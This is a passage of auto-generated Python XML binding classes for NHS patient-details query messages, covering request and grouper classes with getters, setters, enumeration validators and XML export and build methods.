'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'id': obj_ = II_NHS_IdentifierType2.factory() obj_.build(child_) self.id = obj_ obj_.original_tagname_ = 'id' elif nodeName_ == 'code': obj_ = codeType.factory() obj_.build(child_) self.code = obj_ obj_.original_tagname_ = 'code' elif nodeName_ == 'queryEvent': obj_ = getPatientDetailsByNHSNumberRequest_v1_0Grouper.factory() obj_.build(child_) self.queryEvent = obj_ obj_.original_tagname_ = 'queryEvent' class getPatientDetailsByNHSNumberRequest_v1_0Grouper(GeneratedsSuper): subclass = None superclass = None def __init__(self, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, Person_DateOfBirth=None, Person_LocalIdentifier=None, Person_NHSNumber=None, Person_Name=None): self.original_tagname_ = None self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.Person_DateOfBirth = Person_DateOfBirth self.Person_LocalIdentifier = Person_LocalIdentifier self.Person_NHSNumber = Person_NHSNumber self.Person_Name = Person_Name def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getPatientDetailsByNHSNumberRequest_v1_0Grouper) if subclass is not None: return subclass(*args_, **kwargs_) if getPatientDetailsByNHSNumberRequest_v1_0Grouper.subclass: return getPatientDetailsByNHSNumberRequest_v1_0Grouper.subclass(*args_, **kwargs_) else: return getPatientDetailsByNHSNumberRequest_v1_0Grouper(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_Person_DateOfBirth(self): return self.Person_DateOfBirth def set_Person_DateOfBirth(self, Person_DateOfBirth): self.Person_DateOfBirth = Person_DateOfBirth def get_Person_LocalIdentifier(self): return self.Person_LocalIdentifier def set_Person_LocalIdentifier(self, Person_LocalIdentifier): self.Person_LocalIdentifier = Person_LocalIdentifier def get_Person_NHSNumber(self): return self.Person_NHSNumber def set_Person_NHSNumber(self, Person_NHSNumber): self.Person_NHSNumber = Person_NHSNumber def get_Person_Name(self): return self.Person_Name def set_Person_Name(self, Person_Name): self.Person_Name = Person_Name def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.Person_DateOfBirth is not None or self.Person_LocalIdentifier is not None or self.Person_NHSNumber is not None or self.Person_Name is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0Grouper', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0Grouper') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0Grouper') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0Grouper', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0Grouper'): if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0Grouper', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.Person_DateOfBirth is not None: self.Person_DateOfBirth.export(outfile, level, namespace_, name_='Person.DateOfBirth', pretty_print=pretty_print) if self.Person_LocalIdentifier is not None: self.Person_LocalIdentifier.export(outfile, level, namespace_, name_='Person.LocalIdentifier', pretty_print=pretty_print) if self.Person_NHSNumber is not None: self.Person_NHSNumber.export(outfile, level, namespace_, name_='Person.NHSNumber', pretty_print=pretty_print) if self.Person_Name is not None: self.Person_Name.export(outfile, level, namespace_, name_='Person.Name', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'Person.DateOfBirth': obj_ = Person_DateOfBirth.factory() obj_.build(child_) self.Person_DateOfBirth = obj_ obj_.original_tagname_ = 'Person.DateOfBirth' elif nodeName_ == 'Person.LocalIdentifier': obj_ = Person_LocalIdentifier.factory() obj_.build(child_) self.Person_LocalIdentifier = obj_ obj_.original_tagname_ = 'Person.LocalIdentifier' elif nodeName_ == 'Person.NHSNumber': obj_ = Person_NHSNumber.factory() obj_.build(child_) self.Person_NHSNumber = obj_ obj_.original_tagname_ = 'Person.NHSNumber' elif nodeName_ == 'Person.Name': obj_ = Person_Name.factory() obj_.build(child_) self.Person_Name = obj_ obj_.original_tagname_ = 'Person.Name' class getPatientDetailsBySearchRequest_v1_0(GeneratedsSuper): subclass = None superclass = None def __init__(self, classCode=None, moodCode=None, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, id=None, code=None, queryEvent=None): self.original_tagname_ = None self.classCode = _cast(None, classCode) self.moodCode = _cast(None, moodCode) self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.id = id self.code = code self.queryEvent = queryEvent def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getPatientDetailsBySearchRequest_v1_0) if subclass is not None: return subclass(*args_, **kwargs_) if getPatientDetailsBySearchRequest_v1_0.subclass: return getPatientDetailsBySearchRequest_v1_0.subclass(*args_, **kwargs_) else: return getPatientDetailsBySearchRequest_v1_0(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_id(self): return self.id def set_id(self, id): self.id = id def get_code(self): return self.code def set_code(self, code): self.code = code def get_queryEvent(self): return self.queryEvent def set_queryEvent(self, queryEvent): self.queryEvent = queryEvent def get_classCode(self): return self.classCode def set_classCode(self, classCode): self.classCode = classCode def get_moodCode(self): return self.moodCode def set_moodCode(self, moodCode): self.moodCode = moodCode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_cs(self, value): # Validate type cs, a restriction on xsd:token. if value is not None and Validate_simpletypes_: if not self.gds_validate_simple_patterns( self.validate_cs_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_patterns_, )) validate_cs_patterns_ = [['^[^\\s]*$']] def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.id is not None or self.code is not None or self.queryEvent is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0'): if self.classCode is not None and 'classCode' not in already_processed: already_processed.add('classCode') outfile.write(' classCode=%s' % (quote_attrib(self.classCode), )) if self.moodCode is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') outfile.write(' moodCode=%s' % (quote_attrib(self.moodCode), )) if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.id is not None: self.id.export(outfile, level, namespace_, name_='id', pretty_print=pretty_print) if self.code is not None: self.code.export(outfile, level, namespace_, name_='code', pretty_print=pretty_print) if self.queryEvent is not None: self.queryEvent.export(outfile, level, namespace_, name_='queryEvent', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('classCode', node) if value is not None and 'classCode' not in already_processed: already_processed.add('classCode') self.classCode = value self.validate_cs(self.classCode) # validate type cs value = find_attr_value_('moodCode', node) if value is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') self.moodCode = value self.validate_cs(self.moodCode) # validate type cs value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'id': obj_ = II_NHS_IdentifierType2.factory() obj_.build(child_) self.id = obj_ obj_.original_tagname_ = 'id' elif nodeName_ == 'code': obj_ = codeType.factory() obj_.build(child_) self.code = obj_ obj_.original_tagname_ = 'code' elif nodeName_ == 'queryEvent': obj_ = getPatientDetailsBySearchRequest_v1_0Grouper.factory() obj_.build(child_) self.queryEvent = obj_ obj_.original_tagname_ = 'queryEvent' class getPatientDetailsBySearchRequest_v1_0Grouper(GeneratedsSuper): subclass = None superclass = None def __init__(self, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, Person_DateOfBirth=None, Person_Gender=None, Person_LocalIdentifier=None, Person_Name=None, Person_Postcode=None): self.original_tagname_ = None self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.Person_DateOfBirth = Person_DateOfBirth self.Person_Gender = Person_Gender self.Person_LocalIdentifier = Person_LocalIdentifier self.Person_Name = Person_Name self.Person_Postcode = Person_Postcode def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getPatientDetailsBySearchRequest_v1_0Grouper) if subclass is not None: return subclass(*args_, **kwargs_) if getPatientDetailsBySearchRequest_v1_0Grouper.subclass: return getPatientDetailsBySearchRequest_v1_0Grouper.subclass(*args_, **kwargs_) else: return getPatientDetailsBySearchRequest_v1_0Grouper(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_Person_DateOfBirth(self): return self.Person_DateOfBirth def set_Person_DateOfBirth(self, Person_DateOfBirth): self.Person_DateOfBirth = Person_DateOfBirth def get_Person_Gender(self): return self.Person_Gender def set_Person_Gender(self, Person_Gender): self.Person_Gender = Person_Gender def get_Person_LocalIdentifier(self): return self.Person_LocalIdentifier def set_Person_LocalIdentifier(self, Person_LocalIdentifier): self.Person_LocalIdentifier = Person_LocalIdentifier def get_Person_Name(self): return self.Person_Name def set_Person_Name(self, Person_Name): self.Person_Name = Person_Name def get_Person_Postcode(self): return self.Person_Postcode def set_Person_Postcode(self, Person_Postcode): self.Person_Postcode = Person_Postcode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.Person_DateOfBirth is not None or self.Person_Gender is not None or self.Person_LocalIdentifier is not None or self.Person_Name is not None or self.Person_Postcode is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0Grouper', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0Grouper') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0Grouper') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0Grouper', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0Grouper'): if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000004GB01.getPatientDetailsBySearchRequest-v1-0Grouper', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.Person_DateOfBirth is not None: self.Person_DateOfBirth.export(outfile, level, namespace_, name_='Person.DateOfBirth', pretty_print=pretty_print) if self.Person_Gender is not None: self.Person_Gender.export(outfile, level, namespace_, name_='Person.Gender', pretty_print=pretty_print) if self.Person_LocalIdentifier is not None: self.Person_LocalIdentifier.export(outfile, level, namespace_, name_='Person.LocalIdentifier', pretty_print=pretty_print) if self.Person_Name is not None: self.Person_Name.export(outfile, level, namespace_, name_='Person.Name', pretty_print=pretty_print) if self.Person_Postcode is not None: self.Person_Postcode.export(outfile, level, namespace_, name_='Person.Postcode', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'Person.DateOfBirth': obj_ = Person_DateOfBirth.factory() obj_.build(child_) self.Person_DateOfBirth = obj_ obj_.original_tagname_ = 'Person.DateOfBirth' elif nodeName_ == 'Person.Gender': obj_ = Person_Gender.factory() obj_.build(child_) self.Person_Gender = obj_ obj_.original_tagname_ = 'Person.Gender' elif nodeName_ == 'Person.LocalIdentifier': obj_ = Person_LocalIdentifier.factory() obj_.build(child_) self.Person_LocalIdentifier = obj_ obj_.original_tagname_ = 'Person.LocalIdentifier' elif nodeName_ == 'Person.Name': obj_ = Person_Name.factory() obj_.build(child_) self.Person_Name = obj_ obj_.original_tagname_ = 'Person.Name' elif nodeName_ == 'Person.Postcode': obj_ = Person_Postcode.factory() obj_.build(child_) self.Person_Postcode = obj_ obj_.original_tagname_ = 'Person.Postcode' class getPatientDetailsRequest_v1_0Grouper(GeneratedsSuper): subclass = None superclass = None def __init__(self, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, Person_DateOfBirth=None, Person_Gender=None, Person_LocalIdentifier=None, Person_NHSNumber=None, Person_Name=None, Person_Postcode=None): self.original_tagname_ = None self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.Person_DateOfBirth = Person_DateOfBirth self.Person_Gender = Person_Gender self.Person_LocalIdentifier = Person_LocalIdentifier self.Person_NHSNumber = Person_NHSNumber self.Person_Name = Person_Name self.Person_Postcode = Person_Postcode def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getPatientDetailsRequest_v1_0Grouper) if subclass is not None: return subclass(*args_, **kwargs_) if getPatientDetailsRequest_v1_0Grouper.subclass: return getPatientDetailsRequest_v1_0Grouper.subclass(*args_, **kwargs_) else: return getPatientDetailsRequest_v1_0Grouper(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_Person_DateOfBirth(self): return self.Person_DateOfBirth def set_Person_DateOfBirth(self, Person_DateOfBirth): self.Person_DateOfBirth = Person_DateOfBirth def get_Person_Gender(self): return self.Person_Gender def set_Person_Gender(self, Person_Gender): self.Person_Gender = Person_Gender def get_Person_LocalIdentifier(self): return self.Person_LocalIdentifier def set_Person_LocalIdentifier(self, Person_LocalIdentifier): self.Person_LocalIdentifier = Person_LocalIdentifier def get_Person_NHSNumber(self): return self.Person_NHSNumber def set_Person_NHSNumber(self, Person_NHSNumber): self.Person_NHSNumber = Person_NHSNumber def get_Person_Name(self): return self.Person_Name def set_Person_Name(self, Person_Name): self.Person_Name = Person_Name def get_Person_Postcode(self): return self.Person_Postcode def set_Person_Postcode(self, Person_Postcode): self.Person_Postcode = Person_Postcode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.Person_DateOfBirth is not None or self.Person_Gender is not None or self.Person_LocalIdentifier is not None or self.Person_NHSNumber is not None or self.Person_Name is not None or self.Person_Postcode is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000005GB01.getPatientDetailsRequest-v1-0Grouper', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000005GB01.getPatientDetailsRequest-v1-0Grouper') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000005GB01.getPatientDetailsRequest-v1-0Grouper') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000005GB01.getPatientDetailsRequest-v1-0Grouper', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000005GB01.getPatientDetailsRequest-v1-0Grouper'): if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000005GB01.getPatientDetailsRequest-v1-0Grouper', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.Person_DateOfBirth is not None: self.Person_DateOfBirth.export(outfile, level, namespace_, 